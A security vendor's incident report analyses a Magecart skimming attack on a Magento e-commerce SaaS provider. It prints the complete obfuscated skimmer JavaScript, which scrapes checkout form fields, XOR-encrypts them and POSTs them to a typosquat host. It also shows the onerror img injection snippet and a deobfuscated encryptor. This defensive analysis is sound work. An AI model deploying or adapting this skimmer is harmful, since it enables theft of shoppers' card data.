Hackers Attack E-Commerce SaaS Provider with Magecart-Card Skimming Attack to Steal Credit Cards, Reports Armor

Overview / Executive Summary
Armor, a global provider of cloud security solutions, has detected and neutralized a cyberattack against an e-commerce software-as-a-service (SaaS) provider. The cybercriminals targeted the e-commerce SaaS provider (who is utilizing the Magento e-commerce platform) with a Magecart-card skimming attack so as to steal the credit and debit card data being entered into the online shopping cart portion of their solution, via a javascript credit card skimmer.

In mid-September 2019, Armor’s Threat Resistance Unit (TRU) research team received intelligence that threat actors had launched cyberattacks against the booking websites of chain-brand hotels in order to steal payment card data. The TRU team decided to check if any of Armor’s e-commerce cloud customers might be a target of a similar campaign. The TRU team discovered that one of its customers was indeed under attack. Luckily, the team detected and shut down the malicious activity within 24 hours of the cybercriminals launching their attack. The TRU team also worked with the SaaS provider helping them fortify their eCommerce platform against any similar attacks.

Javascript(JS)-based form skimmers have become a prolific method for monetizing attacks against e-commerce providers and e-commerce SaaS providers. Attacks can be difficult to detect because modern sites utilize JS extensively, server-side changes can be minimal or non-existent, and exfiltration of data happens directly between the victim organization and the attacker.

Background
Armor’s TRU team has been following developments in the e-commerce sector for some time. With the publication of CVE-2015-1397 , aka the ‘Shoplift’ exploit for the Magento platform, a new era of commodity attacks was ushered in, bringing the bar down to an all-time low for the skills required to compromise online retailers. Magento is a popular e-commerce platform which provides businesses with an online shopping cart system, as well as the ability to customize the look, content and functionality of a businesses’ online store. Magento’s wide- attack surface and lack of auto-update functionality made it a desirable target in the past, and the TRU team predicts it will be a target for several years to come. The TRU team observed these attacks evolve over time – many earlier attacks involved directly modifying Magento source code on a compromised host so as to grab sensitive information as it flows through the payment logic, siphoning it off to attacker-controlled servers using native methods like cURL.

This technique carries several disadvantages for attackers – in addition to being somewhat difficult to implement, it creates lots of potential artifacts that could tip off developers or security teams such as error logs, untracked changes in version control, frequent outbound network traffic from the victim server, etc. We have observed many other novel exfiltration techniques, such as appending data to product image files and retrieving images via drive-by GET requests, largely indistinguishable from normal application traffic.

The shift to leverage Javascript for scraping and exfiltration is a logical evolution as it avoids many of the issues and artifacts described above. For example, it can be implemented universally with minimal footprint (a single line of code), exfiltration occurs directly from the victim to an attacker (generating no server-side network traffic or artifacts), and the underlying code is highly portable/reusable. The downside is that it’s presence and methods are completely exposed, relying on hiding in plain sight to avoid detection.

Discovery
Attacks over the past few years have put Managed Service Providers (MSPs) and Software- as- a -Service providers in the spotlight as desirable targets due to their “one-to-many” nature. Attackers receive a high return on their investment, turning a successful compromise into one that can potentially reach hundreds or thousands of downstream targets. After reviewing Trend Micro’s security blog titled: Magecart Skimming Attack Targets Mobile Users of Hotel Chain Booking Websites, the TRU team conducted a review of any of its customers who were e-commerce SaaS providers, looking for indications of a possible malicious campaign. While none of the Indications of Compromise (IOCs) posted by TrendMicro were a match, TRU was able to identify a similar attack unfolding against an e-commerce SaaS provider in real-time.

During TRU’s analysis of the SaaS, who utilized the Magento platform, the TRU team observed suspicious behavior during the checkout/payment process. Upon form submission, an XHR-based POST request to ‘hxxps://api.livechatimc.live’ would occur in parallel. On the surface, this is not overtly suspicious – the customer uses services from LiveChat, Inc. (a popular customer support chat service) and has other resources embedded throughout the site. Still, the discrepancy in domains was curious (livechatimc.live vs livechatinc.com) and the TRU team’s suspicions were further heightened when it saw the connection was flagged due to an invalid SSL certificate. Digging in further, TRU saw domain registration details indicating that the livechatimc.live domain had been registered only one day prior to the TRUI team detecting the malicious activity.

>localh0st:~ armor$ whois livechatimc.live
[…]
Domain Name: livechatimc.live
Registry Domain ID: f0e5629bc6bf4c389e94e3249fbc6121-DONUTS
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: https://www.namecheap.com/
Updated Date: 2019-09-22T03:58:35Z
Creation Date: 2019-09-17T03:57:44Z

Side-by-side, the two domains appear nearly identical. Inspecting any of the links on ‘livechatimc.live’ reveals that they all point to the expected domain ‘livechatinc.com’. The SSL certificate for ‘livechatimc.live’ also incorrectly had ‘*.web-hosting.com’ in the Common Name (CN) field, making it invalid.

TRU later compared the source code for both pages, noting the following code present only on the suspect page. This suggests that it was cloned approximately two hours after the domain registration:

<script id="savepage-shadowloader" type="application/javascript">
"use strict"
window.addEventListener("DOMContentLoaded",
function(event)
{
savepage_ShadowLoader(5);
document.getElementById('savepage-shadowloader').remove();
},false);
function savepage_ShadowLoader(c){createShadowDOMs(0,document.documentElement);function createShadowDOMs(a,b){var i;if(b.localName=="iframe"||b.localName=="frame"){if(a<c){try{if(b.contentDocument.documentElement!=null){createShadowDOMs(a+1,b.contentDocument.documentElement)}}catch(e){}}}else{if(b.children.length>=1&&b.children[0].localName=="template"&&b.children[0].hasAttribute("data-savepage-shadowroot")){b.attachShadow({mode:"open"}).appendChild(b.children[0].content);b.removeChild(b.children[0]);for(i=0;i<b.shadowRoot.children.length;i++)if(b.shadowRoot.children[i]!=null)createShadowDOMs(a,b.shadowRoot.children[i])}for(i=0;i<b.children.length;i++)if(b.children[i]!=null)createShadowDOMs(a,b.children[i])}}}
</script>
<meta name="savepage-url" content="https://www.livechatinc.com/">
<meta name="savepage-title" content="LiveChat | Live Chat Software and Chat Support Software">
<meta name="savepage-date" content="Tue Sep 17 2019 05:38:10 GMT+0000 (Greenwich Mean Time)">
<meta name="savepage-state" content="Standard Items; Retained cross-origin frames; Removed unsaved URLs; Max frame depth = 5; Max resource size = 50MB; Max resource time = 10s;">
<meta name="savepage-version" content="16.0">
<meta name="savepage-comments" content=""></head>

TRU sees a script from the suspicious domain being loaded with the following snippet:

<label class="control-label movable" for="cboExpMonth"> Exp Dt <!-- "); // --><img src="" onerror="javascript:var a=document.createElement('script');a.type='text/javascript';a.src='//api.livechatimc.live/v3.0/info?bh=35jtwjc2e4n&license_id=5426201';document.body.appendChild(a)" style="display:none"> :<span class="error_fnt"></span></label>;

The implementation is immediately suspect; this is a technique that frequently appears on XSS-bypass cheatsheats – it is difficult to imagine a legitimate reason for developers to embed a script in this manner. Examining the embedded script presents us with the following code:

!function(){function ma(e){return 10<=(e=(e+"").replace(/\s+|-/g,"")).length&&e.length<=16&&kb(e)}function kb(e){var t,n,o,c,r,i;for(o=!0,r=c=0,i=(n=(e+"").split("").reverse()).length;r<i;r++)t=n[r],t=parseInt(t,10),(o=!o)&&(t*=2),9<t&&(t-=9),c+=t;return 0==c%10}function mh(e){var t,n,o,c=e+"",r="";t=n=0,o=c.length;for(var i=0;i<o;i++){var a=c.charCodeAt(i),l=null;a<128?n++:l=127<a&&a<2048?String.fromCharCode(192|a>>6)+String.fromCharCode(128|63&a):String.fromCharCode(224|a>>12)+String.fromCharCode(128|63&a>>6)+String.fromCharCode(128|63&a),null!==l&&(t<n&&(r+=c.slice(t,n)),r+=l,t=n=i+1)}return t<n&&(r+=c.slice(t,o)),r}function mh(e){var t,n,o,c,r,i=0,a=0,l="",d=[];if(!e)return e;for(e=pg(e+"");t=63&(r=e.charCodeAt(i++)<<16|e.charCodeAt(i++)<<8|e.charCodeAt(i++))>>18,n=63&r>>12,o=63&r>>6,c=63&r,d[a++]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(t)+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(n)+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(o)+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(c),i<e.length;);switch(l=d.join(""),e.length%3){case 1:l=l.slice(0,-2)+"==";break;case 2:l=l.slice(0,-1)+"="}return l}function nf(e){var t="victimname";if(null==t||t.length<=0)return null;e=mh(e),t=mh(t);for(var n="",o="",c=0;c<e.length;)for(var r=0;r<t.length&&(n=e.charCodeAt(c)^t.charCodeAt(r),o+=String.fromCharCode(n),!(++c>=e.length));r++);return mh(o)}try{var add=window.document.querySelector('input[type="button"][name="add"]'),save=window.document.querySelector('input[type="button"][name="save"]'),save1=window.document.querySelector('input[type="button"][name="save1"]'),frt=window.document.querySelector('input[type="image"][name="cmdCompBooking"]'),pro_cess=window.document.querySelector('input[type="button"][name="Process"]'),add_click=null,save_click=null,save1_click=null,frt_click=null,pro_cess_click=null;add&&(add_click=add.getAttribute("onclick"),add.onclick=function(){return!0},add.addEventListener("click",function(e){doFirst(e,add_click)},!1)),save&&(save_click=save.getAttribute("onclick"),save.onclick=function(){return!0},save.addEventListener("click",function(e){doFirst(e,save_click)},!1)),save1&&(save1_click=save1.getAttribute("onclick"),save1.onclick=function(){return!0},save1.addEventListener("click",function(e){doFirst(e,save1_click)},!1)),frt&&(frt_click=frt.getAttribute("onclick"),frt.onclick=function(){return!0},frt.addEventListener("click",function(e){doFirst(e,frt_click)},!1)),pro_cess&&(pro_cess_click=pro_cess.getAttribute("onclick"),pro_cess.onclick=function(){return!0},pro_cess.addEventListener("click",function(e){doFirst(e,pro_cess_click)},!1));var doFirst=function(e,scr){var input=window.document.querySelectorAll("input, select, textarea"),check=!1,data={unknown:[]};if(Array.prototype.forEach.call(input,function(t){if("file"!==t.type){ma(t.value)&&(check=!0);try{data[t.name]=t.value}catch(e){data.unknown.push(t.value)}}}),check){var k=null;k=nf(JSON.stringify(data));var l=new XMLHttpRequest;l.open("POST","https://api.livechatimc.live/v3.0/tracking?bh=35jtwjc2e4n",!0),l.setRequestHeader("Content-type","application/x-www-form-urlencoded");var m=window,i=document,b=i.documentElement,d=i.getElementsByTagName("body")[0],g=m.innerWidth||b.clientWidth||d.clientWidth,n=m.innerHeight||b.clientHeight||d.clientHeight,o="&lg="+encodeURIComponent(navigator.language);o+="&b="+encodeURIComponent(navigator.appCodeName),o+="&dl="+encodeURIComponent(window.location.href),o+="&ts="+(new Date).getTime(),o+="&w="+g,o+="&h="+n,o+="&pl="+navigator.platform,o+="&av="+encodeURIComponent(navigator.appVersion),o+="&th=0",o+="&m=0",o+="&i=true",o+="&r=stable",o+="&v=1.6.2",o+="&tm=1200",o+="&e=automatic",o+="&rl=",o+="&cor=false",o+="&token="+encodeURIComponent(k),l.send(o)}eval(scr)}}catch(e){}}();

Below is a quick breakdown of the script’s functionality:

• ma() uses a simple expression to remove hyphens or whitespace and returns values between 10-16 characters, presumably looking for sensitive data like credit cards
• kb() appears to be a luhn validation algorithm lifted directly from https://simplycalc.com/luhn-source.php. This didn’t appear to function as intended at the time of writing.
• mh() is actually defined twice, presumably by mistake. The second definition is a base64 encoder (“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=” being a dead giveaway); the decision to include their own encoder instead of leveraging the btoa() built-in is interesting, as the function is available in most versions of most browsers.
• nf() is a simple XOR encryption algorithm that uses the victim name as the key. It can be rewritten as below:

function encrypt(plaintext){
var key="victimname";
if(key==null||key.length<=0) return null;
plaintext=btoa(plaintext),key=btoa(key);
for(var n="",ciphertext="",iter_plaintext=0;iter_plaintext<plaintext.length;)
for(var iter_key=0;;){
if(iter_key>=key.length){break;}
xor1=plaintext.charCodeAt(iter_plaintext);
xor2=key.charCodeAt(iter_key);
n=xor1^xor2;
ciphertext+=String.fromCharCode(n);
if(++iter_plaintext>=plaintext.length){break;}
iter_key++}
return btoa(ciphertext)}

• The remainder of the script is dedicated to scraper functionality. Key elements on the page are defined and callbacks are registered via addEventListener(). Any time one of the defined elements is clicked, the doFirst() function is invoked. doFirst() looks for user input fields on the page and builds an array of key/value pairs for those fields. That array is cast as JSON string, encrypted via the XOR function and exfiltrated as the ‘token=’ parameter in an XHR-based POST request to ‘https://api.livechatimc.live/v3.0/tracking?bh=35jtwjc2e4n’ along with other browser details.

The TRU team immediately made the customer aware of its findings, and they were able to determine through reviewing database backups that the unauthorized code was first added to the e-commerce SaaS provider’s database, on 09/18, less than 24 hours after domain registration. The content was injected into their database and rendered dynamically, preventing it from showing up on disk or as an untracked change in their version control.

Conclusion / Recommendations
Unfortunately, these kinds of attacks have become increasingly common with no sign of slowing down. Attackers need only basic scripting knowledge to modify existing code for use against a particular victim site. Developers can help pprotect their customers by implementing the following protections:

• Implement security standards like Content Security Policy (CSP) and Subresource Integrity (SRI) wherever possible
• Continuous monitoring for changes to sensitive pages (eg: ones that accept credentials or payment data as input) – a new generation of solutions like RiskIQ Javascript Threats are beginning to emerge
• Subscribe to vendor updates and security advisories for any third-party code (libraries, frameworks, plugins, etc.) and ensure you have processes in place to review and respond to these notifications. The length of time from a vulnerability’s initial disclosure to widespread exploitation seems to be decreasing – it is imperative that your development lifecycle can accommodate unexpected, out-of-band updates.